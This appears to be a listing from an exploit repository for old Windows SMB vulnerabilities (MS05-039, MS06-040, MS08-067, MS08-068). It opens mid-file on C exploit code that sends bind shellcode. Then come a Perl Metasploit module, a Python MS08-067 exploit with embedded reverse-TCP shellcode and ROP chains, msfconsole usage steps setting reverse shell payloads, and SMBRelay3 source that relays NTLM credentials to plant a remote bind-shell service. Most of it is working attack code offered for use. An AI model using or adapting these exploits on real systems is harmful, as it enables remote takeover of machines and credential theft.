if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[-] socket failed\n");
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(445);
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), '\0', 8);
printf("\n[*] connecting to %s:445...", argv[1]);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
printf("\n[-] connect failed\n");
exit(0);
}
printf("ok\n");
printf("[*] null session...");
if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}
if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 10) {
printf("\n[-] failed\n");
exit(0);
}
if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}
ptr = packet;
memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
ptr += sizeof(SMB_TreeConnectAndX)-1;
sprintf(tmp, "\\\\%s\\IPC$", argv[1]);
convert_name(ptr, tmp);
smblen = strlen(tmp)*2;
ptr += smblen;
smblen += 9;
memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);
memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
ptr += sizeof(SMB_TreeConnectAndX_)-1;
smblen = ptr-packet;
smblen -= 4;
memcpy(packet+3, &smblen, 1);
if (send(sockfd, packet, ptr-packet, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}
printf("ok\n");
printf("[*] bind pipe...");
if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}
if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}
printf("ok\n");
printf("[*] sending crafted packet...");
// nop
ptr = packet;
memset(packet, '\x90', sizeof(packet));
// header & offsets
memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
ptr += sizeof(RPC_call)-1;
// shellcode
bindport = (unsigned short)atoi(argv[2]);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);
// end of packet
memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
RPC_call_end,
sizeof(RPC_call_end)-1);
// sending...
if (send(sockfd, packet, 2196, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
printf("ok\n");
printf("[*] check your shell on %s:%i\n", argv[1], atoi(argv[2]));
recv(sockfd, recvbuf, 4096, 0);
return 0;
}
// milw0rm.com [2005-08-12]
97-Windows提权/MS05-039/README.md
+15
View File
@@ -0,0 +1,15 @@
# MS05-039
Vulnerability reference:
* [MS05-039](https://technet.microsoft.com/library/security/ms05-039)
* [CVE-2005-1983](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1983)
## References
+ [MS05039分析](http://www.2cto.com/article/201304/205544.html)
+ [初试MS05039远程溢出攻击](http://blog.csdn.net/shuilan0066/article/details/5920671)
+ [Ms-05039漏洞原理分析](http://www.ithao123.cn/content-1002576.html)
97-Windows提权/MS06-040/2355.pm
+233
View File
@@ -0,0 +1,233 @@
#########################################################################
# netapi_win2003.pm (MS06-040 Exploit for Windows Server 2003 SP0)
#
# Author: Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
# For educational purpose only
#
# Note: This exploit is developed because of my question "Is it exploitable
# on Windows Server 2003 platform ?". As I know, Windows XP SP2 and Windows
# Server 2003 SP1 is not exploitable because they are compiled with /GS, but
# how about Windows Server 2003 SP0 ? In metasploit netapi_ms06_040.pm there
# is no Windows Server 2003 sp0 target, this means 2003 SP0 is not
# exploitable ? There is Stack Protection Windows Server 2003, is this the
# reasons why there is no Windows Server 2003 SP0 exploit for MS06-040 ?
#
# I start to modify H D Moore's exploit (netapi_ms06_040.pm - credits to him
# ^-^) and work on it. The problem is the Stack Protection "security cookie
# checking". Because wcscpy() method allow me to write to any memory location
# that are marked writable, I decide to write to the location at "security
# cookie" is stored and it works !!! I will describe more implementation details
# in my blog in few days ^-^
#
# This exploit tested on Windows Server 2003 SP0 build 3790 and successful
# exploit 2003 machine in my environment - all patch before MS06-040
# (KB921883). It's quite reliable but not 100%. There is the possibility that
# the exploit will fail and the target system process crash. Because I have
# only one testbase system, I couldn't confirm this exploit will work on
# your environment. However feel free to e-mail to me.
#
# Credits: H D Moore
#########################################################################
package Msf::Exploit::netapi_win2003;
use base "Msf::Exploit";
use strict;
use Pex::DCERPC;
use Pex::NDR;
my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};
my $info = {
'Name' => 'MSO6-040 Windows Server 2003 Target',
'Version' => '',
'Authors' =>
[
'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
],
'Arch' => ['x86'],
'OS' => [ 'win32', 'win2003' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The target address' ],
# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
},
'Payload' =>
{
# Technically we can use more space than this, but by limiting it
# to 370 bytes we can use the same request for all Windows SPs.
'Space' => 370,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'Keys' => ['+ws2ord'],
# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Description' => Pex::Text::Freeform(
qq{
This exploit modified from netapi_ms06_040.pm (Metasploit).
While netapi_ms06_040 of metasploit works on Windows 2000
SP0 - SP4 and Windows XP SP0 - SP1, this exploit works on
Windows Server 2003 SP0.
}
),
'Refs' =>
[
[ 'BID', '19409' ],
[ 'CVE', '2006-3439' ],
[ 'MSB', 'MS06-040' ],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ '(wcscpy) Windows Server 2003 SP0', 612],
],
'Keys' => ['srvsvc'],
'DisclosureDate' => '',
};
sub new {
my ($class) = @_;
my $self =
$class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
return ($self);
}
sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target_name = '*SMBSERVER';
my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];
if (!$self->InitNops(128)) {
$self->PrintLine("Could not initialize the nop module");
return;
}
my ( $res, $rpc );
my $pipe = '\BROWSER';
my $uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188';
my $version = '3.0';
my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe );
my $dce = Pex::DCERPC->new(
'handle' => $handle,
'username' => $self->GetVar('SMBUSER'),
'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'),
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'),
'directsmb' => $self->GetVar('DirectSMB'),
);
if ( !$dce ) {
$self->PrintLine("[*] Could not bind to $handle");
return;
}
my $smb = $dce->{'_handles'}{$handle}{'connection'};
if (! $smb) {
$self->PrintLine("[*] Could not establish SMB session");
return;
}
my $stub;
#
# Use the wcscpy() method on Windows Server 2003 SP0
#
if ($target->[0] =~ /2003/) {
my $path =
$shellcode.
# Padding
Pex::Text::AlphaNumText($target->[1] - length($shellcode)).
Pex::Text::AlphaNumText(32).
substr($shellcode, 0, 4). # cookie
Pex::Text::AlphaNumText(4).
# return address == address that store security cookie
("\xec\xc1\xc8\x71") .
Pex::Text::AlphaNumText(8).
("\xec\xc1\xc8\x71" x 2) .
Pex::Text::AlphaNumText(36).
# Terminate
"\x00\x00";
# Package that into a stub
$stub =
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::UnicodeConformantVaryingString('').
Pex::NDR::Long(int(rand(250)+1)).
Pex::NDR::Long(0);
}
else {
$self->PrintLine("This target is not currently supported");
return;
}
$self->PrintLine("[*] Sending request...");
# Function 0x1f is not the only way to exploit this :-)
my @response = $dce->request( $handle, 0x1f, $stub );
if ( length($dce->{'response'}->{'StubData'}) > 0) {
$self->PrintLine("[*] The server rejected it, trying again...");
@response = $dce->request( $handle, 0x1f, $stub );
}
if ( length($dce->{'response'}->{'StubData'}) > 0) {
$self->PrintLine("[*] Exploit Failed");
}
if (@response) {
$self->PrintLine('[*] RPC server responded with:');
foreach my $line (@response) {
$self->PrintLine( '[*] ' . $line );
}
}
return;
}
1;
# milw0rm.com [2006-09-13]
97-Windows提权/MS06-040/README.md
+32
View File
@@ -0,0 +1,32 @@
# MS06-040
MS06-040
Vulnerability reference:
* [MS06-040](https://technet.microsoft.com/library/security/ms06-040)
* [CVE-2006-3439](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3439)
* [exp-db](https://www.exploit-db.com/exploits/2355/)
## msf Usage
* [YouTube-ms06-040](https://www.youtube.com/watch?v=AsZ8qTr7IoE)
```
msf > search ms06_040
msf > use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) > show payloads
msf exploit(ms06_040_netapi) > set payload windows/shell/reverse_tcp
msf exploit(ms06_040_netapi) > set RHOST 192.1.80.2
msf exploit(ms06_040_netapi) > set LHOST 192.1.80.152
msf exploit(ms06_040_netapi) > set TARGET 0TARGET -> 0
msf exploit(ms06_040_netapi) > exploit
session -i 1
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32>
```
## References
* [深入浅出MS06-040](http://blog.csdn.net/iiprogram/article/details/2820149)
* [How to Exploit MS06-040](https://www.linickx.com/how-to-exploit-ms06-040)
97-Windows提权/MS06-040/ms06040.rar
BIN
View File
Binary file not shown.
97-Windows提权/MS08-025/MS08-025.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS08-025/README.md
+12
View File
@@ -0,0 +1,12 @@
# MS08-025
MS08-025
Vulnerability reference:
* [MS08-025](https://technet.microsoft.com/library/security/ms08-025)
* [CVE-2008-1084](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1084)
97-Windows提权/MS08-025/ms08025.rar
BIN
View File
Binary file not shown.
97-Windows提权/MS08-025/source.zip
BIN
View File
Binary file not shown.
97-Windows提权/MS08-066/ms08066提权(XP 2003).zip
BIN
View File
Binary file not shown.
97-Windows提权/MS08-067/40279.py
+213
View File
@@ -0,0 +1,213 @@
import struct
import time
import sys
from threading import Thread #Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
print '#######################################################################'
print '# MS08-067 Exploit'
print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#######################################################################\n'
#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35"
shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae"
shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6"
shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6"
shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91"
shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15"
shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c"
shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c"
shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1"
shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda"
shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba"
shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4"
shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc"
shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b"
shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69"
shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68"
shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc"
shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff"
shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28"
shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf"
shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22"
shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1"
shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0"
shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2"
shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22"
shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4"
shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60"
shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48"
shellcode += "\x08\x9e\xe0"
nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10
disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"
ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1="\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3="\xcc\x90\xeb\x5a"
ret=struct.pack('<L', 0x00018000)
ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)
ret+=struct.pack('<L', 0x01040110)
ret+=struct.pack('<L', 0x01010101)
ret+=struct.pack('<L', 0x01010101)
ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)
ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
ret+=gadget1
ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['jmp eax']+module_base)
ret+=gadget2[0]
ret+=gadget2[1]
ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
ret+=gadget2[2]
ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)
ret+=struct.pack('<L', rvas['jmp eax']+module_base)
ret+=gadget3
return ret
class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()
self.__port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os=='1'):
print 'Windows XP SP0/SP1 Universal\n'
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os=='2'):
print 'Windows 2000 Universal\n'
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os=='3'):
print 'Windows 2003 SP0 Universal\n'
ret = "\x9e\x12\x00\x01" #0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os=='4'):
print 'Windows 2003 SP1 English\n'
ret_dec = "\x8c\x56\x90\x7c" #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
elif (self.os=='5'):
print 'Windows XP SP3 French (NX)\n'
ret = "\x07\xf8\x5b\x59" #0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2
jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.
elif (self.os=='6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2
jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.
elif (self.os=='7'):
print 'Windows XP SP3 English (AlwaysOn NX)\n'
rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
jumper = generate_rop(rvasets)+"AB" #the nonxjmper also work in this case.
else:
print 'Not supported OS version\n'
sys.exit(-1)
print '[-]Initiating connection'
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(5)
print 'Exploit finish\n'
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
except IndexError:
print '\nUsage: %s <target ip>\n' % sys.argv[0]
print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'
sys.exit(-1)
current = SRVSVC_Exploit(target, os)
current.start()
97-Windows提权/MS08-067/MS08-067.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS08-067/MS08-067_2K3.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS08-067/README.md
+26
View File
@@ -0,0 +1,26 @@
# MS08-067
MS08-067
Vulnerability reference:
* [MS08-067](https://technet.microsoft.com/library/security/ms08-067)
* [CVE-2008-4250](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-4250)
## Usage
```
msf > db_status
msf > db_nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.229.137
msf > search ms08_067
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.229.137
msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
msf exploit(ms08_067_netapi) > exploit
```
## References
+ [ms08-067漏洞 远程溢出入侵测试](http://blog.csdn.net/sysprogram/article/details/8016776)
+ [kali攻击漏洞MS08_067](http://jingyan.baidu.com/article/9f63fb918dcadfc8400f0e28.html)
97-Windows提权/MS08-068/Disable_Port_445.reg
+4
View File
@@ -0,0 +1,4 @@
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"TransportBindName"=""
97-Windows提权/MS08-068/Enable_Port_445.reg
+4
View File
@@ -0,0 +1,4 @@
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"TransportBindName"="\\Device\\"
97-Windows提权/MS08-068/README.md
+34
View File
@@ -0,0 +1,34 @@
# MS08-068
```
This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload.
To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message.
When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate.
Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained.
The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation.
The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068.
This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration.
It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken.
```
- The exp is from [exp-db](https://www.exploit-db.com/exploits/20/)
Vulnerability reference:
* [MS08-068](https://technet.microsoft.com/zh-cn/zh/library/security/ms08-068)
* [CVE-2008-4037](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4037)
## load the module within the Metasploit console
```
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
...targets...
msf exploit(smb_relay) > set TARGET <target-id>
msf exploit(smb_relay) > show options
...show and set options...
msf exploit(smb_relay) > exploit
```
97-Windows提权/MS08-068/libeay32.dll
BIN
View File
Binary file not shown.
97-Windows提权/MS08-068/smbrelay3.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS08-068/smrs.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS08-068/src/httprelay.cpp
+350
View File
@@ -0,0 +1,350 @@
/*
SMBRelay3 - HTTP REPLAY ATTACK MODULE
-------------------------------------
C:\smbrelay>smbrelay3.exe --ListForHTTPRequests
[+] Accepted Connection - Replaying against 192.168.47.128
[+] Reading Initial HTTP Request...
[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM
[+] Reading Second HTTP Request with Auhorization Header..
GET /test HTTP/1.1
[+] Authorization header received.
[+] Init HTTP to SMB attack - Connecting with: 192.168.47.128:445
Received SMB Message with NTLM v2 packet
Sending NTLM Challenge from SMB Server to the HTTP Client
Sending HTTP Response: HTTP/1.1 401 Access Denied
Received Final Authentication packet from remote HTTP Client
Trying to authenticate to remote SMB as Administrador
Sending Final SMB Authentication packet with NTLM Message type 3
SessionSetupAndX Completed. Authenticacion against 192.168.47.128 Succeed as Administrador
[+] Connecting against \\192.168.47.128\ipc$
[+] Trying to connect to admin$
[+] Creating Remote File smrs.exe under admin$
[+] Writing File smrs.exe into admin$ (2048 bytes)
[+] Opening Remote Service Control Manager pipe \svcctl
[*] Sending RPC BindRequest to SCM pipe
[*] Reading Response from Binding Request
[+] Opening Remote Service Control Manager (Creating Service)
[+] Creating Remote Service
[+] Opening Remote Service
[+] Starting Remote Service...
[+] *** Remote SmbRelay3 BindShell Service Running ***: (192.168.47.128:8080)
C:\smbrelay>nc 192.168.47.128 8080
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
*/
#include "httprelay.h"
#include "payload.h"
extern int verbose;
extern int ProxySMB;
int HandleIncommingHTTPRequest(RELAY *relay, char *destinationhostname,int destinationport)
{
char request[4096];
int leido=0;
int total=0;
char **header;
unsigned int nheaders=0;
char *data;
char *p;
int i;
char buf[4096];
char buf1[4096];
char buf2[4096];
uint16 packetlen;
smheader *SmbPacket1, *SmbPacket2, *SmbPacket3;
smheader *NegotiateProtocol;
char CurrentUserName[256];
char CurrentDomain[256];
char CurrentWorkstation[256];
const uint8 SpoofedChallengeKey[]="\x11\x22\x33\x44\x55\x66\x77\x88";
char InitialResponse[]= "HTTP/1.1 401 Unauthorized\r\n"
"Content-Length: 0\r\n"
"Content-Type: text/html\r\n"
"Server: Microsoft-IIS/6.0\r\n"
"WWW-Authenticate: NTLM\r\n"
"Connection: keep-alive\r\n\r\n";
char owned[4096]="<html><title>smbrelay owning</title><body><h1>You have been owned by Smbrelay3</body></html>";
memset(request,'\0',sizeof(request));
total=ReadRequest(relay,(char*)&request,sizeof(request));
if (total<=0) return(1);
printf("[+] Reading Initial HTTP Request...\r");
CleanLine(verbose);
if (verbose){
printf("\n");
if (debug) {
printf("\n%s\n",request);
}
}
do {
printf("[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM\r");
CleanLine(verbose);
send(relay->source,InitialResponse,(int)strlen(InitialResponse),0);
memset(request,'\0',sizeof(request));
total=ReadRequest(relay,(char*)&request,sizeof(request));
if (total<=0) return(1);
CleanLine(verbose);
printf("[+] Reading Second HTTP Request with Auhorization Header..\r");
header=ParseHeaders(request,&nheaders);
data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ;
if (!data) {
if (verbose) printf("\n");
if (debug) {
CleanLine(verbose);
printf("[+] Ooops! Authorization header missing\n");
printf("%s\n",request);
return(0);
}
} else {
if (verbose) printf("\n%s\n",request);
}
} while (!data);
if (verbose) {
CleanLine(verbose);
printf("[+] Authorization header received.\n");
if (debug) {
printf("%s\n",data);
}
}
if (!ProxySMB)
{
CleanLine(verbose);
printf("[+] Init HTTP to SMB attack - Connecting with: %s:%i\r",destinationhostname,destinationport);
i=ConnectToRemoteHost(relay,destinationhostname,destinationport);
if (!i) {
CleanLine(verbose);
printf("[-] Unable to connect to remote host %s:%i\r",destinationhostname,destinationport);
return(0);
}
if (verbose) printf("\n");
printf("Sending SMB Authentication Handshake \r");
p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
p = AddDialect(p,"LANMAN1.0", 0x02,&i);
p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
